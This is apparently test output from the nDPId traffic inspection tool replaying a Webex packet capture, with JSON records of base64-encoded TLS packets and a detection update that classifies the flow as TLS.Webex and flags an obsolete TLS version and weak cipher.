+00851{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":376,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":962327,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuu9pAAEAGuf4KCAABQER5ZMv7AbtwVXlkj6qWP1AYTO+QQQAAFgMBAQYQAAECAQApuU65yQy82erLApREJydSknVaP9FdfKsl+FRLE8XCMuNmcnN3aaUZpHDaL8eVQQR0Lw6pFmsvA2VgKz+SwxbUauYPbDq\/d4slPcZTxNfv1GIQB\/fe9wDt+z5LoGKCDgPn5iLoYmzNYYWI+9AWdi8RMbJY4zMFx3PKRtH8W1BNWrJwHVa5Vlz3ByuCH6B6uEKUC4F1MTKX1Wnmkik0tHOpI3jCOnY9LSBw7SSdE6ugBKtpYl7STl4Kg\/NfNyFhOBTPvD2r41\/FCmUJmNI8gFYdVU29cwvjZc4fSxWbdMmPWnEZ7KmKQ8UxBVRw+bv23X8OpZK4\/Lsf26qdpAraPMvxFAMBAAEBFgMBADCasZF1A9l1Tr4S+Xw83aXO8iRL0WmykK9EEEOq2O8EXBx9Y6Ap3RlUgryWzfF8xRQ="} +00411{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":377,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":962512,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAcNAABAGpVxARHlkCggAAQG7y\/uPqpY\/cFV6qlAQ\/\/8NgwAA"} +00853{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":378,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":962642,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuYe1AAEAGE+0KCAABQER5Y9qhAbtb96NapAhsSVAYTO\/RIQAAFgMBAQYQAAECAQBsGKkUubbLrgJR31QWzKGenwlpOsENtfbrL1worNtDw0tlDWOC3+CQzjde2abLq5FFM0gs2cfTl1uYN5y2dqU8p9VyRlnshq13XABnOzGkJnzSASAqpu1M7bXtd9PDvczOFdmPj4PG6Y49jR\/YxK3KVn3QWMJPx6ICnKFMiV9fvvDePdAjpunrefpVKjbJM71bL\/8lIL+oYnXurfaj8u0Q1dJK5kzv\/LfDCa9IbzU\/smuAHPP3Sf38lKiNWJhQkah+jgI41G+hXs3XuqvTp0ABvwkLe0vDb8ywGf3AV4XKINoFnM1Fve6A9yTJ4SKF7+WaxhdDvSwugodhKbEeTFPZFAMBAAEBFgMBADDlDnyhV\/zArwpJF9qmcdIdgam44ebhtMq1JLsTuhSsp4xDboohYhEjWe\/9XWueK4g="} +00411{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":379,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":962816,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAcRAABAGpVxARHljCggAAQG72qGkCGxJW\/ekoFAQ\/\/\/+3QAA"} +00407{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":380,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":963026,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNxxAAEAGu1wKCAABch3MMcm+AbvkVPYwG6sPdFAQQLBVrgAA"} +03814{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":381,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":963296,"pkt_caplen":2581,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2581,"pkt_l4_len":2547,"pkt":"ABoRAAACABoRAAABCABFAAoHAcVAABAGFtVyHcwxCggAAQG7yb4bqw905FT2MFAY\/\/8QegAABAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":381,"source":"webex.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":8,"flow_first_seen":1444570636155,"flow_last_seen":1444570636963,"flow_tot_l4_data_len":4150,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2547,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.204.49","src_port":51646,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":382,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":963553,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNx1AAEAGu1sKCAABch3MMcm+AbvkVPYwG6sZU1AQTvg9hwAA"} +00854{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":383,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":973588,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuNx5AAEAGuhQKCAABch3MMcm+AbvkVPYwG6sZU1AYTvj6ZAAAFgMBAQYQAAECAQCAe\/mp5u2\/6229QI24iKcByMNry7UNBZfsXakGUQT8wFWc4pDl+1RCfxyQOgnwxykqX9gP2Dq\/DHVfpBd5xWi8IwL5SRWbK1nUCmyi2wHJTm3svxRNqYkq1J5+gFzTflfDMnMHwFrLSrNICds\/UF+g32M9S9LiT99JvXj\/NLtmyyHZcLbapqb0TO\/jgg0je9l2yNo1Y45fVAFKsoVeIpYFI35++TY5832x1BWGgqvJ0UhHZkO38wh6dZFCw1Ei0Zz3myvGEQjMcMc3YwEG2PrXTpoxKFjkjcanY6aazaT3NRQiCgU4OuWkFkcMODlWNsusZQ+rcxALJm0l6DWF66sBFAMBAAEBFgMBADAYwKGBhq5NY6YAhyZgirCQhkrB\/4exqoUrr4zHmiAHgMalmSruBKlic2lOJkHB9KY="} +00410{"flow_id":11,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":384,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":973786,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAcZAABAGILNyHcwxCggAAQG7yb4bqxlT5FT3dlAQ\/\/+LOQAA"} +00492{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":385,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":24533,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAcdAABAGtfVARGiMCggAAQG7rcyGeRjteYb3\/FAY\/\/+zvQAAFAMBAAEBFgMBADC3m65nfClCD6z07nlTzjGczGW8s2JiH3owBBh2gmYUQXeHzHDXpIDkTOlWCUj+yos="} +00407{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":386,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":75099,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNI1AAEAGU2oKCAABQERojK3MAbt5hvf8hnkZKFAQUJjrtgAA"} +00493{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":387,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":75417,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAchAABAGrl\/Rxd6fCggAAQG7uYqEY\/y9e5wUDFAY\/\/+CwgAAFAMBAAEBFgMBADAX7WeBgwXzLjw32moShyX4hQlXqF+scOUxs+JFJVxrZn8XUwhgXJFXmd3E+uAYsMA="} +00495{"flow_id":17,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":388,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":75727,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAclAABAGrISt8wRMCggAAQG7zfr1heGQCnovOVAY\/\/\/rTwAAFAMBAAEBFgMBADDAFEil\/VLC22qNJz18eFMJ7RNcpQigtcKirzO9hPnS7xa0\/Cq0oK\/0AxSvNr9rKPg="} +00496{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":389,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":75925,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAcpAABAGtR1ARGlhCggAAQG7yKr7mOToBGcsAVAY\/\/\/tLQAAFAMBAAEBFgMBADCR6GbLQMrh1oX7wQfMpKCroslq9iU+92X0nL+\/bA\/+x\/uOUaU\/3lZHjGnrd5gvUio="} +01051{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":76054,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICNI5AAEAGUY8KCAABQERojK3MAbt5hvf8hnkZKFAYUJgP4QAAFwMBACBJO+FWe0Z\/BARqUYpiOf+aVHNv+jOOcVk4wI0OGutqSRcDAQGw1WPNHQfUWH\/sC3oR+kvwwtoJ16DUZZFwIpi3SIAAwh7ByQyaIT3Yypg\/wPpjKG6NlcNy2m5IoZiQTGFcmeQBvy9a6cYGA\/tp04LOz0u74ewIAOxSQF\/elxg6v1JUibnsBMOEgTjN1qoiZwwaE0hfUfIaRr4WKe+AdyD0EE\/YTlwxz9dMXrjtQ72zH9ccPnlhcxmQEdPRsNX49nNWcnjEsNno2dRGnHBFak3JBFAuc4Wz5R\/cFOfa7Jz9oTDBEV9Br\/bEiIJeKgZA7GACNjD5YrrimP8gi1Hf1rLXEXMPUWlQLbmJXLAXAUFOUWMs1YbF7pr23Gcmc8ClC7y8UPfMrMhlq1WmlYNOFW80TA3XIzM0AR2DIfQntbvugwkDohYflb6EhIuKjpvbXl3ws1xTnkImiyC3k3bBXC9LMIYMXoVmmbjIjfnoLkeqy9Ka7HAdrDkhiwrTP2GMKY8Ma+0oBWB1HiIRIAodgbyLYvamDieCyIHMCnBke6llfI2tV2p9whLC+eoMUPDlJrQeACAxwl5Jhf+dFHpy+Kig2Hs+PE7SKFB\/3V+z1fA8Wp7wU8u2"} +00409{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":76231,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoActAABAGtixARGiMCggAAQG7rcyGeRkoeYb51lAQ\/\/86dQAA"} +00407{"flow_id":17,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":76356,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo70hAAEAGjz8KCAABrfMETM36AbsKei859YXhy1AQZqisKQAA"} +01049{"flow_id":17,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":86242,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAIC70lAAEAGjWQKCAABrfMETM36AbsKei859YXhy1AYZqi8SwAAFwMBACCNVnbQMoXXdXTzdui4Q95tadNVZa0237G95w8WJ9e01RcDAQGw0lO0JCwG2VRy5XFS\/NURsR5ZLbm7B0Wb6AvxNQHAR3iyIRS5DcQRJXv\/EofGRZ7sXgrwre40S3hOGs82VMDW6CmlDmDCKuX6vq4nwmhkid39Pg+lbK3c3BEeI1hyG1prCyX6xAKJM2wN\/LRTLePIzlJd8SIsO\/f8UB4M9gy3OEOMFq07UfHo8YgBdEmUOduKfiBbi0NNgwu64JYMWsaM82MI1olmgLSQqaqKXd1ecPF+eE8qMQuPyWrM5bQK9cRzyDYsfs+3SBXjZpFM2K6BX+2slwK2dpwvSjKdTCnW28xMomIhFLYP3XZbChJ8M4mnHUOqHjPHOK0VEzBLcLwocmZnj2VQbqTnxdwNKLruoawsAYXuXQNFOuKQHMEeTdnhbyIZ1rpizFlMGWrisT\/+837+2jM240z18SMrD8if016DVBpIfyoxVkA9Rqh3LyLn9U57tbZl9+89\/+MQ6CZknK9a7BBNTEqez\/DfAnkMZh0nHHSdUmEKFlRuivBF6nBRvGiKxhlfzgmLY02qf91e9xuwd4mBYh1woiSAmmQCn+6hjFCk7PT35EiOn0x5mg4+"} +00409{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":86462,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAcxAABAGrLyt8wRMCggAAQG7zfr1heHLCnoxE1AQ\/\/8Q+AAA"} +01053{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":136932,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAIC6IdAAEAGnMAKCAABQERpYciqAbsEZywB+5jlI1AYUJi1sgAAFwMBACCCkS81FkocxdI5RBu\/NODmNdxUxHCBLNjmOnSwkXKDehcDAQGwm0NcohKLWl0Vt0bfJCQl0X44Xi0xgR7GqwHmonSRHx\/hWnuwYBG4iR53UmmTVeTFErl8VGn7PFMWsTIBhpyiacfxR6GkFSgmXVaKSZ8RlV9+zXWbIAedppHkZrCx7P1jhuXRs2QAIfTx7aq6yLueVeViltrYetxJ2PKV8S1QGpoOpuu\/dkADjvexXuf3\/lbUHtRVJenvT6rkMAAYVyajlMrfMFkUFblWLsTkjG0VDJvQJv5I4hEny9bP8jfJDvccRMNqx0aDkAup2XFdlqxZSJO79brCwMOIGLKdd7I1dy335h2o3CupcI6Q2UnhNehF2T0ZMC5Nqr3VmRyLavvGmCs5pfWZ5sqc\/cuRs+RCajn1UmazHjF9KsCbIBdMg6VqCAxYgjESJr\/dRGe87qF61duztokQxh3DC3q2f\/ocqa3V8BhThnNJ\/bW40id6JY1q5H45vQpYtIVO0KW\/jffN4DwALYlEhusXCWZl2V4eEb7kHPaxHh5Y\/h8afPF3uXh44tsichZqM4SosDW5VBZdB9vbO7zNWApP0y6NW7TA2+3S4gw4q9IlRGU7IeLIea2U"} +00410{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":137597,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAc1AABAGtVVARGlhCggAAQG7yKr7mOUjBGct21AQ\/\/8ewgAA"} +00494{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":138073,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAc5AABAGpOFARHmZCggAAQG74S8Y3F4P5yOyulAY\/\/8CQQAAFAMBAAEBFgMBADAZqDTbpkLId\/1fe1W+so9Obuq9qOtL0rrIbNCMgslJbMQFPKSiLM2vkLq\/nbduYo0="} +00492{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":138511,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAc9AABAGtRdARGliCggAAQG7kQkSUm5J7a2ioFAY\/\/9pogAAFAMBAAEBFgMBADCa6iS3ojjCW33Vhc1zEIzyw0+YcCFBjwdLECM86n9kqv8q6lQOkXf1BDNZKeUe5rM="} +00492{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":138930,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjAdBAABAGtRFARGlnCggAAQG7oar5IvYKBt0a31AY\/\/+hqQAAFAMBAAEBFgMBADCdp6mwZkXXosuvMLoM0ZyeGxGW6AztpopJT2GJmFrvuUxsZmarudOc0O4VqM6nMmg="} +01050{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":139225,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAIC0HFAAEAGrhYKCAAB0cXen7mKAbt7nBQMhGP8+FAYTE9J9AAAFwMBACBA5DMidCeHgmY2Ktu8Lka2M7SD2de1DCxNrMsMtQ6SZRcDAQGwl1Yu7WTnTCOBVM7b9pujzyL8\/384QwUwtnYpWIa2SVuB+pXdhIgK13PQ0YQOFwJNqM8\/MTvFxxidvn31pi83Z+8Hs0DqbFHmOX0s+ub6lX5rZYwQtvVK1y841Hp4QKdRm+lBZobX7dRtbyOKcaic8wv2O2Pymnz1e451X9MRvvHXbYFZGW6bjmCmou2rwHTHNWa0qaXoyCuZhb9x6oi7smMHCnxk3xYVCRfRf0CIL57maAxAQToYT8rfVqC3PCOoM80ruaXxBlYFmdlJIEYzUIkFCBcmN2oYyXLO9ZLv2WKqYz9RqqSCt6udMaSiyHK1kn3FH4VZM+qvQrOOsBcBXqObHgx50UhEFfpiPHEoXiw9iiE46W1Noz0XOStFnn6zaw\/Qg3jGY\/Bl6uXcqLxOLASsPdnYFhn7FtvkheYooOZluzaBTcTWippy6T8J6JlqiLwLR3EAXBS+BKynuqUU\/6yBCNeo7I6jghMypg+e4zrd43ExjQJVGhdaLKoIMdpGdczFjkzckEOynLz7bd4rF4UZg+gae1\/BRB0Uz66xdLJcwKrLLs\/ArFvIFDH3yn8t"} 